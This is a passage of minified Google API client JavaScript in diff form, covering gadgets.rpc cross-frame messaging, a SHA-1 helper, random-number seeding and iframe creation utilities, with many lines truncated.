+a+'" height="1" width="1"></embed></object>';window.document.body.appendChild(c);c.innerHTML=a;_.Nb=c.firstChild}++_.Rb;_.Sb!==_.s&&(_.Nb!==_.s||50<=_.Rb)?window.clearTimeout(_.Sb):_.Sb=window.setTimeout(_.Tb,100)};_.Yb=function(){_.Ub[".."]||((0,_.Vb)(".."),_.Wb++,50<=_.Wb&&_.Xb!==_.s?(window.clearTimeout(_.Xb),_.Xb=_.s):_.Xb=window.setTimeout(_.Yb,100))};_.$b=function(){if(_.Nb!==_.s&&_.Nb.setup)for(;0<_.Zb.length;){var a=_.Zb.shift(),c=a.gt;_.Nb.setup(a.ve,".."===c?_.S.ph:c,".."===c?" [...]
+_.s&&window.clearTimeout(_.Sb);_.Sb=_.s};_.ac=function(){!_.Ub[".."]&&_.Xb===_.s&&(_.Xb=window.setTimeout(_.Yb,100))};_.bc=function(a,c,f){c=_.S.be(a);var g=_.S.Yd(a);_.Nb["sendMessage_"+(".."===a?_.S.ph:a)+"_"+g+"_"+(".."===a?"INNER":"OUTER")].call(_.Nb,_.Q.stringify(f),c);return _.r};_.gc=function(a,c){var f=_.Q.parse(a),g=f._scr;g?((0,_.ec)(g,_.r),_.Ub[g]=_.r,".."!==g&&(0,_.Vb)(g,_.r)):window.setTimeout(function(){(0,_.fc)(f,c)},0)};_.Vb=function(a,c){var f=_.S.ph,g={};g._scr=c?"..":f [...]
+(0,_.bc)(a,f,g)};_.Qb="___xpcswf";_.Ob=_.s;_.hc=_.u;_.fc=_.s;_.ec=_.s;_.Nb=_.s;_.Zb=[];_.Sb=_.s;_.Rb=0;_.Wb=0;_.Xb=_.s;_.Ub={};_.Pb=window.location.protocol+"//"+window.location.host;window.___jsl=window.___jsl||{};_.ic=window.___jsl._fm={};_.Lb="___jsl._fm";_.Kb=_.ic;_.Cb.S("rpc",_.s,function(a){_.hc&&(_.Ob=a&&a.rpc&&a.rpc.commSwf||"//xpc.googleusercontent.com/gadgets/xpc.swf")});(0,_.Mb)(_.$b,"ready");(0,_.Mb)(_.ac,"setupDone");(0,_.Mb)(_.gc,"receiveMessage");_.Jb.Xf={Qk:(0,_.ca)("flas [...]
+if(!window.gadgets||!window.gadgets.rpc){_.oc=function(a,c){if(!_.jc[a]){var f=_.kc;c||(f=_.lc);_.jc[a]=f;for(var g=_.mc[a]||[],h=0;h<g.length;++h){var l=g[h];l.t=_.nc[a];f.call(a,l.f,l)}_.mc[a]=[]}};_.vc=function(a,c,f,g,h){function l(){_.rc=_.r}if(!_.nc[c]||_.nc[c]!==f)(0,_.sa)("Invalid gadgets.rpc token. "+_.nc[c]+" vs "+f),(0,_.sc)(c,2);h.onunload=function(){_.tc[c]&&!_.rc&&((0,_.sc)(c,1),_.S.qj(c))};_.uc||("undefined"!=typeof window.addEventListener?window.addEventListener("unload", [...]
+typeof window.attachEvent&&window.attachEvent("onunload",l),_.uc=_.r);g=_.Q.parse((0,window.decodeURIComponent)(g))};_.yc=function(a,c){if(a&&"string"===typeof a.s&&"string"===typeof a.f&&a.a instanceof window.Array)if(_.nc[a.f]&&_.nc[a.f]!==a.t&&((0,_.sa)("Invalid gadgets.rpc token. "+_.nc[a.f]+" vs "+a.t),(0,_.sc)(a.f,2)),"__ack"===a.s)window.setTimeout(function(){(0,_.oc)(a.f,_.r)},0);else{a.c&&(a.callback=function(c){_.S.call(a.f,(a.g?"legacy__":"")+"__cb",_.s,a.c,c)});if(c){var f=(0 [...]
+a.origin=c;var g=a.r;if(!g||(0,_.wc)(g)!=f)g=c;a.referer=g}f=(_.xc[a.s]||_.xc[""]).apply(a,a.a);a.c&&"undefined"!==typeof f&&_.S.call(a.f,"__cb",_.s,a.c,f)}};_.wc=function(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);-1==a.indexOf("://")&&(a=window.location.protocol+"//"+a);var c=a.substring(a.indexOf("://")+3),f=c.indexOf("/");-1!=f&&(c=c.substring(0,f));a=a.substring(0,a.indexOf("://"));var f="",g=c.indexOf(":"); [...]
+c.substring(g+1),c=c.substring(0,g);if("http"===a&&"80"!==h||"https"===a&&"443"!==h)f=":"+h}return a+"://"+c+f};_.zc=function(a){if("/"==a.charAt(0)){var c=a.indexOf("|");return{id:0<c?a.substring(1,c):a.substring(1),origin:0<c?a.substring(c+1):_.s}}return _.s};_.Ac=function(a){if("undefined"===typeof a||".."===a)return window.parent;var c=(0,_.zc)(a);if(c)return window.top.frames[c.id];a=(0,window.String)(a);return(c=window.frames[a])?c:(c=window.document.getElementById(a))&&c.contentWi [...]
+_.s};_.Bc=function(a,c){if(_.tc[a]!==_.r){"undefined"===typeof _.tc[a]&&(_.tc[a]=0);var f=(0,_.Ac)(a);(".."===a||f!=_.s)&&_.kc.vf(a,c)===_.r?_.tc[a]=_.r:_.tc[a]!==_.r&&10>_.tc[a]++?window.setTimeout(function(){(0,_.Bc)(a,c)},500):(_.jc[a]=_.lc,_.tc[a]=_.r)}};_.Ec=function(a){(a=_.Cc[a])&&"/"===a.substring(0,1)&&(a="/"===a.substring(1,2)?window.document.location.protocol+a:window.document.location.protocol+"//"+window.document.location.host+a);return a};_.Gc=function(a,c,f){c&&!/http(s)?: [...]
+(0==c.indexOf("//")?c=window.location.protocol+c:"/"==c.charAt(0)?c=window.location.protocol+"//"+window.location.host+c:-1==c.indexOf("://")&&(c=window.location.protocol+"//"+c));_.Cc[a]=c;"undefined"!==typeof f&&(_.Fc[a]=!!f)};_.Hc=function(a,c){c=c||"";_.nc[a]=(0,window.String)(c);(0,_.Bc)(a,c)};_.Kc=function(a){a=(a.passReferrer||"").split(":",2);_.Ic=a[0]||"none";_.Jc=a[1]||"origin"};_.Lc=function(a){"true"===(0,window.String)(a.useLegacyProtocol)&&(_.kc=_.Eb.ug||_.lc,_.kc.ga(_.yc,_ [...]
+function(a,c,f){if(".."===a){var g=f||_.Mc.rpctoken||_.Mc.ifpctok||"";a=function(a){a=a&&a.rpc||{};(0,_.Kc)(a);var f=a.parentRelayUrl||"",f=(0,_.wc)(_.Mc.parent||c)+f;(0,_.Gc)("..",f,"true"===(0,window.String)(a.useLegacyProtocol));(0,_.Lc)(a);(0,_.Hc)("..",g)};!_.Mc.parent&&c?a({}):_.Cb.S("rpc",_.s,a)}else a:{var h=_.s;if("/"!=a.charAt(0)){if(!_.R)break a;(h=window.document.getElementById(a))||(0,_.m)((0,window.Error)("h`"+a))}var h=h&&h.src,l=c||_.S.ma(h);(0,_.Gc)(a,l);h=_.R.qa(h);(0,_ [...]
+h.rpctoken)}};_.xc={};_.Cc={};_.Fc={};_.nc={};_.Oc=0;_.Pc={};_.tc={};_.Mc={};_.jc={};_.mc={};_.Ic=_.s;_.Jc=_.s;_.Qc=window.top!==window.self;_.Rc=window.name;_.sc=(0,_.v)();_.Sc=window.console;_.Tc=_.Sc&&_.Sc.log&&function(a){_.Sc.log(a)}||(0,_.v)();_.Uc=function(a){return function(){(0,_.Tc)(a+": call ignored")}};_.lc={getCode:(0,_.ca)("noop"),isParentVerifiable:(0,_.ca)(_.r),init:(0,_.Uc)("init"),setup:(0,_.Uc)("setup"),call:(0,_.Uc)("call")};_.R&&(_.Mc=_.R.qa());_.rc=_.u;_.uc=_.u;_.kc [...]
+_.Mc.rpctx)return _.Eb.Xf;if("rmr"==_.Mc.rpctx)return _.Eb.Nm;var a="function"===typeof window.postMessage?_.Eb.Qj:"object"===typeof window.postMessage?_.Eb.Qj:window.ActiveXObject?_.Eb.Xf?_.Eb.Xf:_.Eb.fm?_.Eb.fm:_.Eb.ug:0<window.navigator.userAgent.indexOf("WebKit")?_.Eb.Nm:"Gecko"===window.navigator.product?_.Eb.frameElement:_.Eb.ug;a||(a=_.lc);return a}();_.xc[""]=function(){(0,_.Tc)("Unknown RPC service: "+this.s)};_.xc.__cb=function(a,c){var f=_.Pc[a];f&&(delete _.Pc[a],f.call(this, [...]
+{Ja:function(a){"function"===typeof a.Bs&&(_.sc=a.Bs)},S:function(a,c){("__cb"===a||"__ack"===a)&&(0,_.m)((0,window.Error)("i"));""===a&&(0,_.m)((0,window.Error)("j"));_.xc[a]=c},Md:function(a){("__cb"===a||"__ack"===a)&&(0,_.m)((0,window.Error)("k"));""===a&&(0,_.m)((0,window.Error)("l"));delete _.xc[a]},Em:function(a){_.xc[""]=a},on:function(){delete _.xc[""]},Lk:(0,_.v)(),call:function(a,c,f,g){a=a||"..";var h="..";".."===a?h=_.Rc:"/"==a.charAt(0)&&(h=_.S.ma(window.location.href),h="/ [...]
+"|"+h:""));++_.Oc;f&&(_.Pc[_.Oc]=f);var l={s:c,f:h,c:f?_.Oc:0,a:window.Array.prototype.slice.call(arguments,3),t:_.nc[a],l:!!_.Fc[a]},n;a:if("bidir"===_.Ic||"c2p"===_.Ic&&".."===a||"p2c"===_.Ic&&".."!==a){n=window.location.href;var q="?";if("query"===_.Jc)q="#";else if("hash"===_.Jc)break a;q=n.lastIndexOf(q);q=-1===q?n.length:q;n=n.substring(0,q)}else n=_.s;n&&(l.r=n);".."!==a&&(0,_.zc)(a)==_.s&&!window.document.getElementById(a)||(n=_.jc[a],!n&&(0,_.zc)(a)!==_.s&&(n=_.kc),0===c.indexOf [...]
+(n=_.kc,l.s=c.substring(8),l.c=l.c?l.c:_.Oc),l.g=_.r,l.r=h,n?(_.Fc[a]&&(n=_.Eb.ug),n.call(a,h,l)===_.u&&(_.jc[a]=_.lc,_.kc.call(a,h,l))):_.mc[a]?_.mc[a].push(l):_.mc[a]=[l])},Wk:_.Ec,$g:_.Gc,Zg:_.Hc,wf:_.Nc,Yd:function(a){return _.nc[a]},qj:function(a){delete _.Cc[a];delete _.Fc[a];delete _.nc[a];delete _.tc[a];delete _.jc[a]},Vk:function(){return _.kc.Qk()},Cm:function(a,c){4<a.length?_.kc.fp(a,_.yc):_.vc.apply(_.s,a.concat(c))},Dm:function(a){a.a=window.Array.prototype.slice.call(a.a); [...]
+0)},ma:_.wc,be:function(a){var c=_.s,c=(0,_.Ec)(a);c||(c=(c=(0,_.zc)(a))?c.origin:".."==a?_.Mc.parent:window.document.getElementById(a).src);return(0,_.wc)(c)},ga:function(){_.kc.ga(_.yc,_.oc)===_.u&&(_.kc=_.lc);_.Qc?(0,_.Nc)(".."):_.Cb.S("rpc",_.s,function(a){a=a.rpc||{};(0,_.Kc)(a);(0,_.Lc)(a)})},kk:_.Ac,ep:_.zc,b:"__ack",ph:_.Rc||"..",j:0,i:1,d:2};_.S.ga()}else if("undefined"==typeof _.S||!_.S)_.S=window.gadgets.rpc,_.S.Ja=_.S.config,_.S.S=_.S.register,_.S.Md=_.S.unregister,_.S.Em=_.S [...]
+_.S.on=_.S.unregisterDefault,_.S.Lk=_.S.forceParentVerifiable,_.S.call=_.S.call,_.S.Wk=_.S.getRelayUrl,_.S.$g=_.S.setRelayUrl,_.S.Zg=_.S.setAuthToken,_.S.wf=_.S.setupReceiver,_.S.Yd=_.S.getAuthToken,_.S.qj=_.S.removeReceiver,_.S.Vk=_.S.getRelayChannel,_.S.Cm=_.S.receive,_.S.Dm=_.S.receiveSameDomain,_.S.ma=_.S.getOrigin,_.S.be=_.S.getTargetOrigin,_.S.kk=_.S._getTargetWin,_.S.ep=_.S._parseSiblingId;
+(0,_.P)("gadgets.rpc.config",_.S.Ja);(0,_.P)("gadgets.rpc.register",_.S.S);(0,_.P)("gadgets.rpc.unregister",_.S.Md);(0,_.P)("gadgets.rpc.registerDefault",_.S.Em);(0,_.P)("gadgets.rpc.unregisterDefault",_.S.on);(0,_.P)("gadgets.rpc.forceParentVerifiable",_.S.Lk);(0,_.P)("gadgets.rpc.call",_.S.call);(0,_.P)("gadgets.rpc.getRelayUrl",_.S.Wk);(0,_.P)("gadgets.rpc.setRelayUrl",_.S.$g);(0,_.P)("gadgets.rpc.setAuthToken",_.S.Zg);(0,_.P)("gadgets.rpc.setupReceiver",_.S.wf);
+(0,_.P)("gadgets.rpc.getAuthToken",_.S.Yd);(0,_.P)("gadgets.rpc.removeReceiver",_.S.qj);(0,_.P)("gadgets.rpc.getRelayChannel",_.S.Vk);(0,_.P)("gadgets.rpc.receive",_.S.Cm);(0,_.P)("gadgets.rpc.receiveSameDomain",_.S.Dm);(0,_.P)("gadgets.rpc.getOrigin",_.S.ma);(0,_.P)("gadgets.rpc.getTargetOrigin",_.S.be);
+
+_.qb=function(a,c){if(!(a<_.rb)&&_._console$$inline_314)if(2===a&&_._console$$inline_314.warn)_._console$$inline_314.warn(c);else if(3===a&&_._console$$inline_314.error)try{_._console$$inline_314.error(c)}catch(f){}else _._console$$inline_314.log&&_._console$$inline_314.log(c)};_.sb=function(a){(0,_.qb)(1,a)};_.tb=function(a){(0,_.qb)(2,a)};_.sa=function(a){(0,_.qb)(3,a)};_.sb.INFO=1;_.sb.WARNING=2;_.sb.NONE=4;_.rb=1; _._console$$inline_314=window.console?window.console:window.opera?wind [...]
+
+_.R=_.R||{};_.R.Fe=function(a,c,f,g){"undefined"!=typeof a.addEventListener?a.addEventListener(c,f,g):"undefined"!=typeof a.attachEvent?a.attachEvent("on"+c,f):(0,_.tb)("cannot attachBrowserEvent: "+c)};_.R.ks=function(a,c,f,g){a.removeEventListener?a.removeEventListener(c,f,g):a.detachEvent?a.detachEvent("on"+c,f):(0,_.tb)("cannot removeBrowserEvent: "+c)};
+
+_.Zc=function(){function a(){h[0]=1732584193;h[1]=4023233417;h[2]=2562383102;h[3]=271733878;h[4]=3285377520;x=w=0}function c(a){for(var c=n,f=0;64>f;f+=4)c[f/4]=a[f]<<24|a[f+1]<<16|a[f+2]<<8|a[f+3];for(f=16;80>f;f++)c[f]=((c[f-3]^c[f-8]^c[f-14]^c[f-16])<<1|(c[f-3]^c[f-8]^c[f-14]^c[f-16])>>>31)&4294967295;a=h[0];for(var g=h[1],l=h[2],q=h[3],t=h[4],w,x,f=0;80>f;f++)40>f?20>f?(w=q^g&(l^q),x=1518500249):(w=g^l^q,x=1859775393):60>f?(w=g&l|q&(g|l),x=2400959708):(w=g^l^q,x=3395469782),w=((a<<5| [...]
+w+t+x+c[f]&4294967295,t=q,q=l,l=(g<<30|g>>>2)&4294967295,g=a,a=w;h[0]=h[0]+a&4294967295;h[1]=h[1]+g&4294967295;h[2]=h[2]+l&4294967295;h[3]=h[3]+q&4294967295;h[4]=h[4]+t&4294967295}function f(a,f){if("string"===typeof a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var g=[],h=0,n=a.length;h<n;++h)g.push(a.charCodeAt(h));a=g}f||(f=a.length);g=0;if(0==w)for(;g+64<f;)c(a.slice(g,g+64)),g+=64,x+=64;for(;g<f;)if(l[w++]=a[g++],x++,64==w){w=0;for(c(l);g+64<f;)c(a.slice(g,g+64)),g+ [...]
+function g(){var a=[],g=8*x;56>w?f(q,56-w):f(q,64-(w-56));for(var n=63;56<=n;n--)l[n]=g&255,g>>>=8;c(l);for(n=g=0;5>n;n++)for(var t=24;0<=t;t-=8)a[g++]=h[n]>>t&255;return a}for(var h=[],l=[],n=[],q=[128],t=1;64>t;++t)q[t]=0;var w,x;a();return{reset:a,update:f,Dk:g,Rf:function(){for(var a=g(),c="",f=0;f<a.length;f++)c+="0123456789ABCDEF".charAt(window.Math.floor(a[f]/16))+"0123456789ABCDEF".charAt(a[f]%16);return c}}};
+
+_.$c=function(a){if("complete"===_.eb.readyState)a();else{var c=_.u,f=function(){if(!c)return c=_.r,a.apply(this,arguments)};_.db.addEventListener?(_.db.addEventListener("load",f,_.u),_.db.addEventListener("DOMContentLoaded",f,_.u)):_.db.attachEvent&&(_.db.attachEvent("onreadystatechange",function(){"complete"===_.eb.readyState&&f.apply(this,arguments)}),_.db.attachEvent("onload",f))}};_.bd=function(a){var c=(0,_.Zc)();c.update(a);return c.Rf()};_.cd=window.crypto;
+if(_.cd&&"function"==typeof _.cd.getRandomValues)_.ad=function(){var a=new window.Uint32Array(1);_.cd.getRandomValues(a);return(0,window.Number)("0."+a[0])};else{_.dd=(0,_.O)("random/maxObserveMousemove");_.dd==_.s&&(_.dd=-1);_.ed=0;_.fd=window.Math.random();_.gd=1;_.hd=1E6*(window.screen.width*window.screen.width+window.screen.height);_.id=function(a){a=a||window.event;var c=a.screenX+a.clientX<<16,c=c+(a.screenY+a.clientY),c=c*((new window.Date).getTime()%1E6);_.gd=_.gd*c%_.hd;0<_.dd&& [...]
+_.R.ks(window,"mousemove",_.id,_.u)};0!=_.dd&&_.R.Fe(window,"mousemove",_.id,_.u);_.jd=(0,_.bd)(window.document.cookie+"|"+window.document.location+"|"+(new window.Date).getTime()+"|"+_.fd);_.ad=function(){var a=_.gd,a=a+(0,window.parseInt)(_.jd.substr(0,20),16);_.jd=(0,_.bd)(_.jd);return a/(_.hd+window.Math.pow(16,20))}};
+(0,_.P)("shindig.random",_.ad);
+_.Yc=window.iframer=window.iframer||{};_.U=window.iframes=window.iframes||{};
+_.U.tp=function(a,c,f){var g=window.Array.prototype.slice.call(arguments);_.U.Uk(function(a){a.sameOrigin&&(g.unshift("/"+a.claimedOpenerId+"|"+window.location.protocol+"//"+window.location.host),_.S.call.apply(_.S,g))})};_.U.hs=function(a,c){_.S.S(a,c)};
+
+_.kd=function(a){var c=(0,_.O)("googleapis.config/sessionIndex");c==_.s&&(c=window.__X_GOOG_AUTHUSER);if(c==_.s){var f=window.google;f&&(c=f.authuser)}c==_.s&&(a==_.s&&(a=window.location.href),c=a?(0,_.Fa)(a,"authuser")||_.s:_.s);return c==_.s?_.s:(0,window.String)(c)};
+_.ld=function(a,c,f){a=(0,window.String)(a);if(((0,_.Fa)(a,"authuser")||_.s)!=_.s||((0,_.Fa)(a,"hd")||_.s)!=_.s)return a;c=(0,_.kd)(c);if(f){var g=a,h=g.match(/^((https?:)?\/\/[^\/?#]*)?(\/[^\/?#]+)\/[0-9]+([\/][^?#]*)([?#].*)?$/);if(h&&h[0]){var l=h[1],n=h[4],q=h[5];h[3]=="/"+f&&(g=(l||"")+(n||"/")+(q||""))}if((h=g.match(/^(((https?:)?\/\/[^\/?#]*)([\/][^?#]*)?|([\/][^?#]*))([?#].*)?$/))&&h[0])return l=h[2],a=h[4]||h[5],q=h[6],c!=_.s&&(g=(l||"")+"/"+f+"/"+(0,window.encodeURIComponent)(c [...]
+(q||"")),g}f=c==_.s?(0,window.encodeURIComponent)("authuser")+"=0":c.match(/^([-a-z0-9]+[.])+[-a-z0-9]+$/)?[(0,window.encodeURIComponent)("authuser")+"=",(0,window.encodeURIComponent)((0,window.String)(c)),"&"+(0,window.encodeURIComponent)("hd")+"=",(0,window.encodeURIComponent)(c)].join(""):["authuser=",(0,window.encodeURIComponent)(c)].join("");a=a.split("#");c=a[0].indexOf("?");0>c?a[0]=[a[0],"?",f].join(""):(g=[a[0]],c<a[0].length-1&&g.push("&"),g.push(f),a[0]=g.join(""));return g=a. [...]
+_.md=_.ld;
+_.nd=function(){var a=(0,_.Ta)();if(!a){a=(0,_.N)();(0,_.Ua)(a);var c=(0,_.N)();a.e=function(a){var g=c[a];g&&(delete c[a],g())};a.a=function(a,g){c[a]=g};a.r=function(a){delete c[a]}}return a};
+_.od=function(a,c,f,g,h){var l,n;var q=f.onload;(0,_.ua)(q)?((0,_.nd)().a(g,q),n=q):n=_.s;n?((0,_.Ea)(/^\w+$/.test(g),"Unsupported id - "+g),(0,_.nd)(),q='onload="window.___jsl.onl.e("'+g+'")"'):q="";try{l=a.createElement('<iframe frameborder="'+(0,_.va)(f.frameborder)+'" scrolling="'+(0,_.va)(f.scrolling)+'" '+q+' name="'+(0,_.va)(f.name)+'"/>')}catch(t){l=a.createElement("iframe"),n&&(l.onload=function(){l.onload=_.s;n.call(this)},(0,_.nd)().r(g))}for(var w in f)a=f[w],"style"= [...]
+typeof a?(0,_.Da)(a,l.style):_.pd[w]||l.setAttribute(w,(0,window.String)(a));(!h||!h.dontclear)&&(0,_.Na)(c);c.appendChild(l);l=c.lastChild;f.allowtransparency&&(l.allowTransparency=_.r);return l};_.qd=function(){return _.s};
+_.rd=function(a,c,f){var g=f||{};f=g.attributes||{};(0,_.Ea)(!g.allowPost||!f.onload,"onload is not supported by post iframe");g.rpctoken||(g.rpctoken=(0,_.qd)());f=c.ownerDocument||_.eb;var h,l=0;do h=g.id||["I",_.sd++,"_",(new window.Date).getTime()].join("");while(f.getElementById(h)&&5>++l);(0,_.Ea)(5>l,"Error creating iframe id");var n,q=f.location.href,l=(0,_.N)(),t=(0,_.Qa)(q);t&&(l._bsh=t);(q=(0,_.Oa)(q))&&(l.jsh=q);q=(0,_.N)();q.id=h;q.parent=f.location.protocol+"//"+f.location. [...]
+(0,_.Fa)(f.location.href,"id",""),w=(0,_.Fa)(f.location.href,"pfname","");(t=t?w+"/"+t:"")&&(q.pfname=t);g.rpctoken&&(q.rpctoken=g.rpctoken);g.hintInFragment?(0,_.Da)(l,q):n=l;n=(0,_.La)(a,n,q);a=(0,_.N)();(0,_.Da)(_.td,a);(0,_.Da)(g.attributes,a);a.name=a.id=h;a.src=n;if((g||{}).allowPost&&2E3<n.length){n=(0,_.Ga)(n);a.src="";a["data-postorigin"]=n.Ac;a=(0,_.od)(f,c,a,h);var x;-1!=window.navigator.userAgent.indexOf("WebKit")&&(x=a.contentWindow.document,x.open(),l=x.createElement("div") [...]
+"_inner",q.name=t,q.src="",q.style="display:none",(0,_.od)(f,l,q,t,g));g=(0,_.Ia)(n.pb[0]);n.pb=[];l=(0,_.Ja)(n);n=f.createElement("form");n.action=l;n.method="POST";n.target=h;n.style.display="none";for(h=0;h<g.length;h++)l=f.createElement("input"),l.type="hidden",l.name=g[h][0],l.value=g[h][1],n.appendChild(l);c.appendChild(n);n.submit();n.parentNode.removeChild(n);x&&x.close();c=a}else c=(0,_.od)(f,c,a,h,g);return c};
+_.td={allowtransparency:"true",frameborder:"0",hspace:"0",marginheight:"0",marginwidth:"0",scrolling:"no",style:"",tabindex:"0",vspace:"0",width:"100%"};_.pd={allowtransparency:_.r,onload:_.r};_.sd=0;
+_.ud=function(a){_.U.Ug[a]||(_.U.Ug[a]={},_.S.S(a,function(c,f){var g=this.f;if("string"==typeof c&&!(c in{})&&!(g in{})){var h=this.callback,l=_.U.Ug[a][g],n;l&&window.Object.hasOwnProperty.call(l,c)?n=l[c]:window.Object.hasOwnProperty.call(_.U.ce,a)&&(n=_.U.ce[a]);if(n)return g=window.Array.prototype.slice.call(arguments,1),n._iframe_wrapped_rpc_&&h&&g.push(h),n.apply({},g)}(0,_.sa)(['Unregistered call in window "',window.name,'" for method "',a,'", via proxyId "',c,'" from frame "',g, [...]
+return _.s}));return _.U.Ug[a]};_.vd=function(a,c,f){function g(g){var l=window.Array.prototype.slice.call(arguments,0),n=l[l.length-1];if("function"===typeof n){var q=n;l.pop()}l.unshift(c,a,q,f);_.S.call.apply(_.S,l)}g._iframe_wrapped_rpc_=_.r;return g};_.wd=function(a,c){var f=(0,_.ta)(_.Pa,"watt",(0,_.N)());(0,_.ta)(f,a,c)};_.xd=function(){return _.db.location.origin||_.db.location.protocol+"//"+_.db.location.host};
+_.yd=function(a){var c=(0,_.Fa)(a.location.href,"urlindex");if(c=(0,_.ta)(_.Pa,"fUrl",[])[c]){var f=a.location.hash,c=c+(/#/.test(c)?f.replace(/^#/,"&"):f);a.location.replace(c)}};_.zd=function(){_.U.Pl++;return["I",_.U.Pl,"_",(new window.Date).getTime()].join("")};
+_.Ad=function(a){if(0==a.indexOf("http:")||0==a.indexOf("https:")||0==a.indexOf("javascript:"))return a;if(0==a.indexOf("//"))return window.location.protocol+a;if(0==a.indexOf("/"))return window.location.protocol+"//"+window.location.host+a;var c=window.location.protocol+"//"+window.location.host+window.location.pathname,f=c.lastIndexOf("/");return c.substring(0,f+1)+a};_.Bd=function(a){return a instanceof window.Array?a.join(","):a instanceof window.Object?_.Q.stringify(a):a};
+_.Cd=function(a,c,f){var g={},h=a.indexOf("#");-1==h?(g.hash=_.s,g.Ac=a):(g.hash=a.substring(h+1),g.Ac=a.substring(0,h));a=g.Ac.indexOf("?");-1==a?g.pb=_.s:(g.pb=g.Ac.substring(a+1),g.Ac=g.Ac.substring(0,a));a=f?g.hash?[g.hash]:[]:g.pb?[g.pb]:[];for(var l in c)c.hasOwnProperty(l)&&(h=(0,_.Bd)(c[l]),a.push([(0,_.Dd)(l),(0,_.Dd)(h)].join("=")));f?g.hash=a.join("&"):g.pb=a.join("&");return g.Ac+(g.pb?"?"+g.pb:"")+(g.hash?"#"+g.hash:"")};
+_.Ed=function(){var a=(0,_.kd)(_.p);return a!==_.p&&a!==_.s&&""!==a?"u/"+a+"/":""};_.Fd=function(a){a&&a.match(_.Gd)&&(0,_.ab)("googleapis.config/gcv",a)};_.Hd=function(a){_.Vc.Ah.Ps(a)};_.Id=function(a,c){var f=c||{},g;for(g in a)a.hasOwnProperty(g)&&(f[g]=a[g]);return f};
+_.Jd=function(a,c,f,g,h){var l=[],n;for(n in a)if(a.hasOwnProperty(n)){var q=c,t=f,w=a[n],x=g,A=(0,_.ud)(n);A[q]=A[q]||{};x=_.R.Hg(x,w);w._iframe_wrapped_rpc_&&(x._iframe_wrapped_rpc_=_.r);A[q][t]=x;l.push(n)}if(h)for(n in _.U.ce)_.U.ce.hasOwnProperty(n)&&l.push(n);return l.join(",")};_.Kd=function(a,c,f){var g={};if(a&&a._methods){a=a._methods.split(",");for(var h=0;h<a.length;h++){var l=a[h];g[l]=(0,_.vd)(l,c,f)}}return g};
+_.Ld=function(a){return a&&a.disableMultiLevelParentRelay?_.u:_.Yc&&_.Yc._open&&"inline"!=a.style&&a.inline!==_.r&&!(a.container&&("string"==typeof a.container&&window.document.getElementById(a.container)||window.document==(a.container.ownerDocument||a.container.document)))};_.Md=function(a,c){function f(){}f.prototype=c.prototype;a.prototype=new f};
+_.Nd=function(a,c,f,g,h,l,n,q){if(":"==a.charAt(0)){var t=(0,_.O)("iframes/"+a.substring(1));a={};(0,_.Da)(t,a);if(t=a.url)t=t||"",t=t.replace(/:session_prefix:/g,(0,_.Ed)()),t=t.replace(/:session_index:/g,(0,_.kd)(_.p)||"0"),t=t.replace(/:socialhost:/g,(0,_.O)("iframes/:socialhost:")),a.url=(0,_.Ad)(t);a.params||(a.params={})}else a={url:(0,_.Ad)(a)};this.Ja=a;this.openParams=this.ya=c;this.ab=f||{};this.Pa=g;this.eh=_.u;c=c.style;if(!this.eh)if(c=c&&!_.U.Bf[c]&&_.U.Lh[c]){this.Kh=[];va [...]
+c(function(){w.eh=_.r;for(var a=0,c=w.Kh.length;a<c;++a)w.Kh[a].call(w)})}else this.eh=_.r;this.Je={};(0,_.Od)(this,function(){var a;(a=this.ya.style)&&_.U.Bf[a]?a=_.U.Bf[a]:a?((0,_.tb)(['Missing handler for style "',a,'". Continuing with default handler.'].join("")),a=_.s):a=_.Pd;if(a){var c;if("function"===typeof a)c=a(this);else{var f={};for(c in a){var g=a[c];f[c]="function"===typeof g?_.R.Hg(a,g,this):g}c=f}for(var n in h)a=c[n],"function"===typeof a&&(0,_.Qd)(this,h[n],_.R.Hg(c,a)) [...]
+"close",l)});this.za=this.ac=n;this.hj=(q||[]).slice();n&&this.hj.unshift(n.aa())};_.Od=function(a,c){a.eh?c.call(a):a.Kh.push(c)};_.Qd=function(a,c,f){a.Je[c]=a.Je[c]||[];a.Je[c].push(f)};_.Rd=function(a,c){return"number"==typeof c?{value:c,pd:c+"px"}:"100%"==c?{value:100,pd:"100%",Yl:_.r}:_.s};_.Sd=function(a){return(0,_.Cd)(a.Ja.url,a.ab,_.u)};
+_.Td=function(a,c,f,g,h,l,n){_.Nd.call(this,a,c,f,g,_.Ud,h,l,n);this.id=c.id||(0,_.zd)();this.d=c.rpcToken||window.Math.round(1E9*(0,_.ad)());a=this.ab;c={};f=this.Ja.params||{};for(var q in a)"#"==q.charAt(0)&&(c[q.substring(1)]=a[q]),0==q.indexOf("fr-")&&(c[q.substring(3)]=a[q]),"#"==f[q]&&(c[q]=a[q]);for(var t in c)delete a["fr-"+t],delete a["#"+t],delete a[t];this.i=c;this.Th={};(0,_.Od)(this,function(){this.Sb("open");(0,_.Id)(this.Th,this)})};
+_.Vd=function(a,c,f,g,h,l,n){_.Nd.call(this,a,c,f,g,_.Wd,h,l,n);this.url=a;this.b=_.s;this.mj=(0,_.zd)();(0,_.Od)(this,function(){this.Sb("beforeparentopen");var a=(0,_.Id)(this.Pa);a._onopen=this.Wr;a._ready=this.Ng;a._onclose=this.Vr;this.ab._methods=(0,_.Jd)(a,"..",this.mj,this,_.r);var a={},c;for(c in this.ab)a[c]=(0,_.Bd)(this.ab[c]);var f=this.Ja.url;if(this.ya.hideUrlFromParent){c=window.name;var g=f,f=(0,_.Sd)(this),h=a,a={};a._methods=h._methods;a["#opener"]=h["#opener"];a["#url [...]
+a["#opener"]&&h["#urlindex"]!=_.p?(a["#opener"]=c+","+a["#opener"],c={url:g,ab:a}):(g=(0,_.ta)(_.Pa,"fUrl",[]),h=g.length,g[h]=f,_.Pa.rUrl=_.yd,a["#opener"]=c,a["#urlindex"]=h,c=_.Vc.ma(_.db.location.href),f=(0,_.O)("iframes/relay_url_"+(0,window.encodeURIComponent)(c))||"/_/gapi/sibling/1/frame.html",c={url:c+f,ab:a});f=c.url;a=c.ab}_.Yc._open({url:f,openParams:this.ya,params:a,proxyId:this.mj,openedByProxyChain:this.hj})})};
